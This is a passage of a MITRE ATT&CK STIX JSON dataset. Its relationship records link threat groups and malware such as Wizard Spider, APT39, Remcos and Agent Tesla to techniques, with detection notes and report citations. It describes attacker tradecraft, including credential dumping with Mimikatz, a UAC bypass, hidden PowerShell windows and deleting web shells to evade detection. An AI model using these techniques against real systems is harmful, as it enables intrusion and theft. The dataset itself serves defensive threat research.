capabilities.","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Atlassian Confluence Logging","description":"Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.","url":"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9438f268-3827-435b-98b5-79dbc0ee5213","type":"relationship","created":"2020-11-10T16:49:13.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."}],"modified":"2020-11-10T16:49:13.078Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used Digicert code-signing certificates for some of its malware.(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--94472a50-e097-4b67-9f59-2840a1633a0f","created":"2022-04-06T19:41:52.867Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Koadic](https://attack.mitre.org/software/S0250) can obtain a list of directories.(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T19:41:52.867Z","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94475a08-d176-4c4f-872a-88d25333659d","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may modify visual content available internally or externally to an enterprise network. ","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9448e565-a9ea-44c2-9c03-8f6112cd7d1d","type":"relationship","created":"2020-02-20T21:01:25.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-04T18:44:09.913Z","description":"System scans can be performed to identify unauthorized archival utilities.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--944a0e0d-dfb4-4c78-a0bd-601b989365bd","created":"2023-04-03T17:38:55.136Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-03T17:38:55.136Z","description":"[Metador](https://attack.mitre.org/groups/G1013) has established persistence through the use of a WMI event subscription combined with unusual living-off-the-land binaries such as `cdb.exe`.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--944b9cc3-95c7-4e0d-8b62-576aa6cf7217","type":"relationship","created":"2020-02-11T20:34:58.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T20:34:58.622Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--944ddd08-e535-4f66-aec2-051f8b35ae80","created":"2024-02-08T15:43:01.743Z","revoked":false,"external_references":[{"source_name":"NKAbuse BC","description":"Bill Toulas. (2023, December 14). New NKAbuse malware abuses NKN blockchain for stealthy comms. Retrieved February 8, 2024.","url":"https://www.bleepingcomputer.com/news/security/new-nkabuse-malware-abuses-nkn-blockchain-for-stealthy-comms/#google_vignette"},{"source_name":"NKAbuse SL","description":"KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.","url":"https://securelist.com/unveiling-nkabuse/111512/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T15:43:01.743Z","description":"[NKAbuse](https://attack.mitre.org/software/S1107) has abused the NKN public blockchain protocol for its C2 communications.(Citation: NKAbuse BC)(Citation: NKAbuse SL)","relationship_type":"uses","source_ref":"malware--bd2ebee8-7c38-408a-871d-221012104222","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--944f957c-f44b-4635-9635-985aedbb5d17","created":"2024-03-25T18:37:23.554Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"Secureworks Gold Prelude Profile","description":"Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-prelude"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-26T19:37:02.072Z","description":"(Citation: Microsoft Ransomware as a Service)(Citation: Secureworks Gold Prelude Profile)(Citation: SocGholish-update)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9453d60b-4f3f-494f-985d-e29094ef8945","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Net Crawler](https://attack.mitre.org/software/S0056) uses [PsExec](https://attack.mitre.org/software/S0029) to perform remote service manipulation to execute a copy of itself as part of lateral movement.(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde50aaa-f5de-4cb8-989a-babb57d6a704","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--945a3286-2197-4984-8838-837afcd7925c","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MAR10135536-B","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved August 15, 2024.","url":"https://web.archive.org/web/20220529212912/https://www.cisa.gov/uscert/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T15:49:37.519Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) generates a false TLS handshake using a public certificate to disguise C2 network communications.(Citation: MAR10135536-B)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--945d45de-810c-42e9-b37c-ebfbc576dc01","created":"2024-02-06T19:38:13.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"},{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-14T18:44:54.593Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has deleted scripts and web shells to evade detection.(Citation: Mandiant Pulse Secure Zero-Day April 2021)(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--945dface-ae29-4baa-ad2d-45c27029936a","type":"relationship","created":"2019-01-29T18:55:20.798Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Remcos Feb 2017","url":"https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html","description":"Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."}],"modified":"2019-04-19T14:39:53.042Z","description":"[Remcos](https://attack.mitre.org/software/S0332) has a command for UAC bypassing.(Citation: Fortinet Remcos Feb 2017)","relationship_type":"uses","source_ref":"tool--7cd0bc75-055b-4098-a00e-83dc8beaff14","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--945e586b-1543-4c24-95ee-e1282ad16823","created":"2024-07-17T20:24:37.440Z","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-17T20:24:37.440Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) distributed [Pikabot](https://attack.mitre.org/software/S1145) as an initial access mechanism.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--945ebd48-f638-469c-a106-113ab8bbf408","created":"2022-07-14T14:46:06.730Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has used fake icons including antivirus and external drives to disguise malicious payloads.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-14T14:51:53.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94667a75-eaf2-4b23-868e-47ad09026b62","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor for changes made to files that may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--946eecdd-fa23-4b5d-a992-452f50e8def8","type":"relationship","created":"2020-12-11T22:38:18.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-11T22:38:18.754Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has achieved persistence via scheduled tasks.(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--947a4837-cce1-48dd-b4e7-8d08d8dce663","type":"relationship","created":"2020-05-06T15:26:38.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-05-06T15:26:38.855Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has the ability to delete files on the compromised host.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9480dac9-9192-4966-a622-0ca561b59f16","type":"relationship","created":"2020-07-01T20:35:01.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacKeeper Bundlore Apr 2019","url":"https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/","description":"Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}],"modified":"2020-07-01T21:30:17.323Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) prompts the user for their credentials.(Citation: MacKeeper Bundlore Apr 2019)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--948146db-f966-4e0c-bbb2-289e2eae6718","created":"2020-05-08T17:01:36.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.214Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has downloaded additional modules and malware to victim’s machines.(Citation: Group IB Silence Sept 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94824fdd-25fa-4d23-9220-825f04c4bcc6","type":"relationship","created":"2020-05-18T21:01:51.192Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.273Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) started the cryptomining virtual machine as a service on the infected machine.(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9486b28e-681e-4e19-a7d9-c496af933c2d","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Monitor executed commands and arguments for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft - Azure Sentinel ADFSDomainTrustMods","description":"Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.","url":"https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml"},{"source_name":"Microsoft 365 Defender Solorigate","description":"Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"}]},{"type":"relationship","id":"relationship--94883652-f338-47e5-95d9-b38060137fde","created":"2024-02-07T18:53:47.670Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-07T18:53:47.670Z","description":"The first stage of [COATHANGER](https://attack.mitre.org/software/S1105) is delivered as a packed file.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--948a5d37-65d1-403f-99bb-0f08186aeebc","type":"relationship","created":"2019-10-10T22:17:29.523Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","source_name":"ClearSky Wilted Tulip July 2017"}],"modified":"2021-02-09T13:50:21.135Z","description":"[CopyKittens](https://attack.mitre.org/groups/G0052) has used -w hidden and -windowstyle hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--948d9203-f418-4cf6-9618-e1e89f1ef2bb","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-30T02:01:59.871Z","description":"[CORALDECK](https://attack.mitre.org/software/S0212) has created password-protected RAR, WinImage, and zip archives to be exfiltrated.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--948eaafc-3440-43f3-b9e4-39eb77197d72","type":"relationship","created":"2019-02-21T21:17:37.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}],"modified":"2021-10-12T23:00:49.654Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used Mimikatz, Windows Credential Editor and ProcDump to dump credentials.(Citation: FireEye APT39 Jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--948eb193-9037-43cf-99db-5d7912277ed0","created":"2024-09-18T18:22:25.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:53:19.325Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has used multiple Windows API post exploitation including `GetAdaptersInfo`, `CreateToolhelp32Snapshot`, and `CreateProcessW`.(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 